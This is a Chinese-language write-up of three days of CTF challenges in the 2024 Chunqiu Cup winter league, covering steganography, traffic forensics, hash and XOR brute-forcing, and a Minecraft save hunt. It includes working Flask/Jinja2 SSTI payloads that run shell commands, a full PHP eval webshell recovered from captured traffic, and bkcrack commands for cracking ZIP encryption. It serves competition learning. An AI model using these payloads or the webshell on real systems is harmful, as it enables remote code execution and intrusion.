2024年春秋杯网络安全联赛冬季赛WRITEUP
本比赛持续三天,一天比一天难了属于是,最终排名可惜只有 145,没有进入前 10%
day1
day1 隐写比较简单,就差一个内存取证的题没有写出来,最后结果发现要用 vol3 才可以解出来,最终只能错失了
See anything in these pics?
拿到文件后能看到 Aztec.png 和 YVL.zip 文件,压缩文件被加密,通过解码图片文件能找到压缩文件密码为 5FIVE,解压后存在文件 YVL.jpg
通过 010Editor 发现文件末尾存在额外图片,通过命令foremost YVL.jpg
进行分离
发现分离出来了之后是全黑,经过 ps 与 StegSolve 进行处理都无法找到 flag,猜测是图片宽高问题,于是使用 python 脚本进行 crc 宽高爆破
import zlib
def main():
buff = open("./output/png/00000149.png", 'rb').read()
src_hash = "".join([hex(i)[2:] for i in buff[29:33]])
width = bytes2int(buff[16:20])
height = bytes2int(buff[20:24])
for i in range(height, height + 5000):
for j in range(width, width + 5000):
cut_bytes = buff[12:29]
cut_bytes = ins(cut_bytes, int.to_bytes(i, 4), 4)
cut_bytes = ins(cut_bytes, int.to_bytes(j, 4), 8)
final_hash = hex(zlib.crc32(cut_bytes))[2::]
print(f"{i}x{j} {src_hash} <== {final_hash}")
if src_hash == final_hash:
return
def ins(b: bytes, i_b: bytes, iv: int) -> bytes:
return b[:iv] + i_b + b[(iv + len(i_b)):]
def bytes2int(b: bytes) -> int:
return int.from_bytes(b, 'big')
if __name__ == '__main__':
main()
最终得出宽高为1440x1800
,在 010 中进行修改,从图片冲可以看出 flag:flag{opium_00pium}
简单镜像提取
拿到文件发现存在 data.pcapng,使用 wireshark 进行流量分析发现存在一个文件上传的数据包,数据包为 zip 格式
将数据包通过“导出分组字节流”到本地,打开压缩包发现存在文件 disk-recovery.img,根据题目提示,使用 R-Studio 对 img 镜像文件进行恢复,找到存在一张 xlsx 表格文件,右键进行文件恢复
打开表格发现 flag:flag{E7A10C15E26AA5750070EF756AAA1F7C}
压力大,写个脚本吧
拿到文件发现压缩包中存在两个文件zip_99.zip
与password_99.txt
,打开zip_99.zip
文件发现被加密,使用password_99.txt
进行解密,发现 txt 文件 base64 解密后为解压密码,猜测是循环嵌套,于是写出脚本得到最终文件 flag-hint.txt 获得提示:PASSWORD+PASSWORD.png
,猜测为将所有密码进行组合,得到最终的图片
import base64
import zipfile
z = zipfile.ZipFile("zip_99.zip")
pa = base64.b64decode(open("password_99.txt", "rb").read())
pass_list = [pa]
while True:
zi = None
pa_ = None
if len(z.filelist) != 2:
break
for f in z.filelist:
if f.filename.endswith(".txt"):
pa_ = z.extract(f.filename, pwd=pa)
elif f.filename.endswith(".zip"):
f = z.extract(f.filename, pwd=pa)
zi = zipfile.ZipFile(f)
pa = base64.b64decode(open(pa_, "rb").read())
print(pa_, pa, z, zi)
z = zi
pass_list.append(pa)
pass
open("pw.bin", "wb").write(b''.join(pass_list[::-1]))
最后发现最终 pw.bin 导入到十六进制解析中,最终得到一张二维码,经过识别得到 flag:flag{_PASSWORDs_is_fl@g!_}
简单算术
拿到文件,内容为ys~xdg/m@]mjkz@vl@z~lf>b
,通过题目提示分析使用了 xor 加密,使用脚本进行暴力破解
file = open("enc.txt", "rb").read()
for i in range(0, 128):
print("".join([chr(c ^ i) for c in file]))
在最终结果中发现存在flag:flag{x0r_Brute_is_easy!}
通往哈希的旅程
根据题目描述,为sha1暴力破解,已给出前3位为188,进行暴力破解
import hashlib
t = "ca12fd8250972ec363a16593356abb1f3cf3a16d"
for i in range(0, 99999999, -1):
n = f"188{i:08d}"
s = hashlib.sha1(n.encode()).hexdigest()
print(n, s)
if s == t:
print(n)
break
运行脚本,最终得出:flag{18876011645}
easy_flask
经典flask的ssti漏洞,先构造字符串判断builtins位置:http://8.147.132.32:37014/?user={{[].__class__.__base__.__subclasses__()}}
经过分析发现<class '_sitebuiltins._Printer'>
可以被利用
继续构造字符串http://8.147.132.32:37014/?user={{[].__class__.__base__.__subclasses__()[135].__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}
发现文件下存在 flag
文件将该文件cat出来http://8.147.132.32:37014/?user={{[].__class__.__base__.__subclasses__()[135].__init__.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}
得到 flag:flag{48ad0cde8345c8b2608933ac4e85147e}
day2
day2 大部分人都去写西湖论剑了,给了我这个小蒟蒻往前冲冲排名的机会,真没想到
find me
这道题是 mc 世界搜索,看来是出题人沉迷 mc 导致的,一开始用好几个找了半天,结果基本上都没有 NBT 标签,最终只能用脚本搜了(甚至脚本的依赖包连个 demo 都没有,只能看逻辑仔细找)
Weevil’s Whisper
题目只给了流量包,直接 wireshark 打开进行分析,发现是一个php木马上传
将php代码保存到本地,格式化后进行分析
<?php
$k = "161ebd7d";
$kh = "45089b3446ee";
$kf = "4e0d86dbcf92";
$p = "lFDu8RwONqmag5ex";
function x($t, $k)
{
$o = "";
for ($i = 0; $i < strlen($t); ) {
for ($j = 0; ($j < strlen($k) && $i < strlen($t)); $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents(filename: "php://input"), $m) == 1) {
@ob_start();
@eval (@gzuncompress(@x(@base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
$r = @base64_encode(@x(@gzcompress($o), $k));
print ("$p$kh$r$kf");
}
发现恶意代码执行链:
- 通过
php://input
途径、POST方式进行上传 - 截取
45089b3446ee
与4e0d86dbcf92
的部分 - base64_decode 解码
- x 函数编码
- gzip 解码
- eval 代码执行
于是将所有post与返回数据导出到独立文件夹
可以看到数据变成了一堆文件(需要将shell1.php
改名为shell1(0).php
来构成队形)
写出脚本进行解码,得出 flag 为flag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}
import base64
import os
import re
import zlib
datas = []
k = b"161ebd7d"
def x(t: bytes):
o, i = b"", 0
while i < len(t):
for j in range(len(k)):
if i < len(t):
o += (t[i] ^ k[j]).to_bytes()
i += 1
return o
for file in os.listdir("datas"):
if "shell1(" not in file:
continue
iv = int(re.findall(r"shell1\((\d+)\)", file)[0])
t, iv = "req" if iv % 2 == 1 else "res", iv // 2
data = open(f"datas/{file}", "rb").read()
while len(datas) <= iv:
datas.append({"res": "", "req": ""})
datas[iv][f"{t}"] = data
for i, data in enumerate(datas):
req = data["req"]
res = data["res"]
match = re.findall(rb"45089b3446ee(.+)4e0d86dbcf92", req)[0]
match += b'=' * (4 - len(match) % 4) # 部分情况下长度不足会无法解码
match = zlib.decompress(x(base64.b64decode(match)))
print(match)
find me
拿到文件,发现是游戏 minecraft 的世界存档,存在一个被加密过的bigbigcowcow/flag.rar
文件,暂时放着不管往下做。先把游戏存档导入到游戏里面,目前不知道游戏版本,通过 vscode 插件NBT Viewer
(地址:https://marketplace.visualstudio.com/items?itemName=Misodee.vscode-nbt
)查看游戏版本为1.21.1
使用PCL下载对应的游戏版本并启动
将游戏存档复制到游戏目录下.minecraft\saves
,启动游戏打开单人模式,就能看到对应的存档
进入该世界,能看到告示牌写着 flag 线索在雪屋下方
先通过游戏内指令/setblock 8 64 -44 air
删除命令方块,防止循环设置为生存模式,之后通过命令/gamemode creative
设置为创造模式
通过命令/locate structure minecraft:igloo
获得世界生成的雪屋坐标传送后,发现是假坐标,只能通过世界存档跑脚本找出来了(因为雪屋中存在告示牌,只需要搜索世界中存在告示牌并找出坐标,就能找到对应的雪屋了)
import fs from "fs";
import { NbtRegion, NbtFile } from 'deepslate';
const loadRegion = (regionFile) => {
const regions = NbtRegion.read(fs.readFileSync(regionFile));
for (const pos of regions.getChunkPositions()) {
const t = regions.findChunk(...pos);
if (!t) continue;
const f = NbtFile.read(t.getRaw());
const r = f.root.toSimplifiedJson();
if (!r.block_entities?.length) continue;
for (const _ of r.block_entities) {
const { id, x, y, z } = _;
if (id.includes("sign")) console.log(_.front_text.messages, x, y, z);
}
}
}
for (const file of fs.readdirSync("find_me\\region")) {
loadRegion(`find_me\\region\\${file}`);
}
运行之后发现除了一进入世界的告示牌还存在一个告示牌,坐标691 98 105
,直接指令/tp @s 691 98 105
传送
[ '"欢迎来到我的世界"', '"如果你想要flag的话"', '"你可以去附近的雪屋下"', '"面找找线索"' ] 7 65 -33
[ '""', '"<----"', '"---->"', '""' ] 691 98 105
找到周围存在一个箱子,打开发现有本书,打开书发现 key 为cwqeafvfwqead
将 key 输入到开头发现的 rar 文件中,可以解出其中的文件:
Who is bigbigcowcow I'am bigbigcowcow hahahahah OK this is Your flag: unai?535.0a20[189.[4049[ax30[e.j60xaj91x8+
使用随波逐流工具解密,可以得到 flag:flag{535e0a20-189e-4049-ab30-dec60bac91b8}
day3
Infinity
一开始卡尔好长时间直到下午下发提示,才知道怎么写了
拿到文件后用 010Editor 打开,发现文件尾部存在多余数据,直接命令foremost Infinity.png
把文件分离出来,得到一个 zip 文件
打开zip发现是压缩文件嵌套
这时候不想写脚本的话可以直接疯狂点进去(没错 7zip 是支持压缩包里面打开压缩包的,并且路径还可以复制,免得写脚本了),最终发现最后一个压缩包里面存在文件SeCr3t.txt
,内容为Inf1nityIsS0CoOL
这时候直接复制路径,得到一串混杂着扩展名的文件名(一看和 day1 的题压力大,写个脚本吧
差不多)
zMjiQdMYLHK.tar\6c69b2nqwz2.zip\iYMtivbWMUH.zip\xi9d6pw4mLY.tar\YHtMsKZ9wuX.7z\Kbwk4at4AHj.7z\dRPuEdHCG4d.zip\3gR1bg5U8YN.7z\JNoFPxJCSQV.7z\q5yn3gHbKg6.7z\Avpr7Kpj8sD.zip\am3p4WHR3fi.7z\fpgyMHpeAgV.7z\acz8HEJyvgf.7z\dCVcJepagGR.zip\B7EsL11wcuv.zip\yXwZGh3ot37.zip\xqstfWn6LHt.tar\XEbjV2pKJeH.7z\trjrMMjCFDZ.zip\RPg6RNirwd1.tar\1zXsXaQaq9e.tar\uJcvgotRUjp.zip\YRYWbKB6A25.tar\qtQiwA4Gf8Q.7z\jfHDyccqkRV.7z\jtoMp8SvPf9.zip\cR3iiRvwKyE.tar\ypi7FVfi2Fw.7z\xdUw3wh8tor.tar\JsdXXeVLKMd.tar\zgiE7geiPvF.7z\tfA9qEAsqV7.7z\vqk7JncqDHo.zip\EDPrsUByKTp.tar\vypAjmuQxya.7z\NF9GU22MxYL.7z\DZDrbqGyaLQ.tar\rhaqP5Kn26C.tar\C44egaMVpYJ.7z\SN4irp67f4K.7z\Lv9LpD3WSHq.zip\KgJAtGV7KtU.7z\Q3MjJ8duxA8.zip\CwuadryMdku.7z\asrZXj3c9YD.zip\Q1Nf7LbXKvz.7z\AXye64M1JNN.tar\Uks3yrzaPJo.7z\UjXqkveanCg.zip\LHqaXutHiQM.tar\side1jYU2mN.tar\uBpjTuZb4mT.zip\zKcoamcw6qD.7z\7PeWL7qGBeB.tar\zzEKG4G51Q4.tar\3EF4125LwYQ.zip\eAS721ji7e9.7z\M8Lmf8CU315.7z\v3unatngTkG.zip\LFUGkFuhAmv.zip\nvaaCKPS7M3.7z\J8XSjdh9ofR.7z\FpX8xHdTUBo.zip\QutbHXE8uYL.zip\Faibrg5ohzA.tar\brhPjhSdH2A.7z\ei1X3ztdQPx.zip\H1rm2PHhm2q.zip\QazwAuJDk9L.zip\Lg3csdtRiTX.tar\b1qmeYoUmud.7z\RWkTTgxUf6g.zip\d53ckZZj9Bi.zip\gJrG5jQfNQ9.zip\RfRAhDFBreF.tar\U1nLXdyXLnm.zip\iVtD6s7Gtb4.7z\qXVaLtuRCtF.tar\yNW5yu2zyqa.tar\SdpXLjfPQxB.zip\3vzvqCzeDjF.7z\yaUMKQS4Nsf.zip\BNmiYfRK95E.7z\rWieUL24eL2.zip\8UzqnH65fhe.7z\vYKzvN461Hq.tar\43Pw8vDDMcJ.7z\wy4tjLhtFCk.tar\Lvj8YUoZaWD.tar\DTKgRvTPzrK.zip\8bzxbsbUMg1.zip\mxYTZdt3KH2.tar\s5nzUHP1xBE.tar\9E8fknBQ5d5.7z\ezC5sRwk412.7z\eEEhKv2qohJ.zip\Z3gW8JGczKZ.tar\Vqh6ks9aXhx.7z\DgNyJMANRqm.zip\LYZakCKVjv5.7z\fqdJRsy2NXJ.tar\cXSmsbmaxoE.7z\CWzoAaQrY8B.tar\AVZHSVbmFb5.7z\JACanfgDv3E.zip\xPNmMNCdoe4.tar\rN4Wg8hX2Bx.tar\rNFhP27NxFS.zip\HUx57o7LHre.zip\1NDheyJvG8j.zip\iE7i5xmse7E.tar\Y5oq1fyCcNk.tar\B9bFiXj8rb1.tar\CMtbBWUdTP3.zip\QifiuAtYdNH.zip\1bYWx4YRfH3.tar\JPFGHfGRaYX.zip\5jHQz5upm9f.7z\1qtnyM32bYL.zip\CXotjV6FSFa.7z\jeaEG3RG6ts.zip\VNBZD8scRnE.7z\HTaP8qM67cH.7z\9SzHC6sNeuM.tar\qn1nAWUWY4X.7z\2BW7EUjDg1x.7z\PsJvpzLrucb.7z\CqdBnN9XKvC.zip\9oW3fdLYY96.zip\nFQwYN4vUki.zip\
因为不知道正序还是倒序文件名,总之先用正则表达式/\..+?\\/\n/
替换成多行数据
我这里使用的是 notepad3 中的正则替换,也可以使用命令
perl -pe 's/\..+?\\/\n/g' datas_ext.txt >datas.txt
( sed 好像默认不能懒惰匹配,无所谓了)
先写个脚本,把数据无论什么顺序先打印出来
data = open("datas.txt", "r").read()
data = data.split("\n")
print("".join(data))
print("".join(reversed(data)))
print("".join([d[::-1] for d in data]))
print("".join([d[::-1] for d in reversed(data)]))
根据题目提示BASE58-Ripple
+SM4-ECB
,扔到赛博厨子里面先进行 Base58 解码
经过测试发现,上方 python 脚本只有第二个输出print("".join(reversed(data)))
才有正常文本输出结果(第一次看到的时候差点以为是 hex 编码,没想到是字符串的 hex)数台太长就不放出来了。特别注意:需要 Ripple 模式才可以被正常解码
将输出结果再进行 sm4 解密,key 就是SeCr3t.txt
文件内的Inf1nityIsS0CoOL
,可以看出解密后的结果为 png 格式的图片,直接下载下来
可以看到图片就是Data Matrix
格式的二维码,先给加个白底免得扫不出来,直接拖到在线工具进行解码拿到 flag:flag{a72dd260-f64d-4116-ab50-b26b40d69883}
音频的秘密
文件下载之后拿到音频猜猜我在哪.wav
根据题目提示要使用 deepsound 进行弱密码解密(数字挨个试了大半天),结果发现密码是 123,拿到文件flag.zip
打开压缩包发现文件flag.png
,但是没有任何提示,用 rockyou 密码本和暴力破解试了大半天结果没试出来,最后在网上各处找,找出来了一篇文档 https://www.cnblogs.com/LEOGG321/p/14493327.html
根据教程,尝试构造 png 头89504E470D0A1A0A0000000D49484452
(取自Infinity
题目的前 16 个字节),使用命令bkcrack -C flag.zip -c flag.png -p png1 -o 0
直接进行破解,结果如下:( bkcrack 需要自己自行下载)
└─# ./bkcrack-1.7.1-Linux/bkcrack -C flag.zip -c flag.png -p png1
bkcrack 1.7.1 - 2024-12-21
[18:29:43] Z reduction using 9 bytes of known plaintext
100.0 % (9 / 9)
[18:29:43] Attack on 734325 Z values at index 6
Keys: 29d29517 0fa535a9 abc67696
19.6 % (144011 / 734325)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 144011
[18:31:49] Keys
29d29517 0fa535a9 abc67696
之后使用命令bkcrack -C flag.zip -c flag.png -k 29d29517 0fa535a9 abc67696 -d out.png
,使用上述解出来的 key 将图片解密出来(其中的-k
就是上方最终三个 hex)
└─# ./bkcrack-1.7.1-Linux/bkcrack -C flag.zip -c flag.png -k 29d29517 0fa535a9 abc67696 -d out.png
bkcrack 1.7.1 - 2024-12-21
[18:32:48] Writing deciphered data out.png
Wrote deciphered data (not compressed).
使用随波主流工具将图片导入进去,直接就出 flag:flag{Y1_Shun_jian_Fa_ZE_Dian_Fu}
pixel_master(复现)
看到题的时候猜测可能是 01 二进制矩阵,但是
Infinity
这个题刚出提示,结果把这个给忘了,后来看到群里面有 WP,特此复现
拿到图片之后发现存在是黑白图片,猜测是文件的二进制转图,使用脚本进行破解
from PIL import Image
image = Image.open("flag.png")
img_chucks = []
for x in range(image.size[0]):
for y in range(image.size[1]):
pixel = image.getpixel((x, y))
img_chucks.append("1" if pixel == (0, 0, 0) else "0")
img_chuck = [
int(''.join(img_chucks[chuck_iv:chuck_iv + 8]), 2).to_bytes()
for chuck_iv in range(0, len(img_chucks), 8)
]
with open("flag1.png", "wb") as f:
f.write(b''.join(img_chuck))
得到第二张图片,可以发现该图片第一行只有黑、红、绿、蓝三色,并且下方所有内容都只由该四颜色组成,猜测是四进制编码
编写脚本进行解密
image = Image.open("flag1.png")
img_chucks = []
for y in range(1, image.size[1]):
for x in range(image.size[0]):
pixel = image.getpixel((x, y))
if pixel == (0, 0, 0):
img_chucks.append("0")
elif pixel == (255, 0, 0):
img_chucks.append("1")
elif pixel == (0, 255, 0):
img_chucks.append("2")
elif pixel == (0, 0, 255):
img_chucks.append("3")
img_chuck = [
int(''.join(img_chucks[chuck_iv:chuck_iv + 4]), 4).to_bytes()
for chuck_iv in range(0, len(img_chucks), 4)
]
with open("flag2.png", "wb") as f:
f.write(b''.join(img_chuck))
解出来图片
可以发现是汉信码,补足左下角部分进行扫描得出 flag:flag{08f87707-f4c6-46cd-aaf6-8fbdd655d5cd}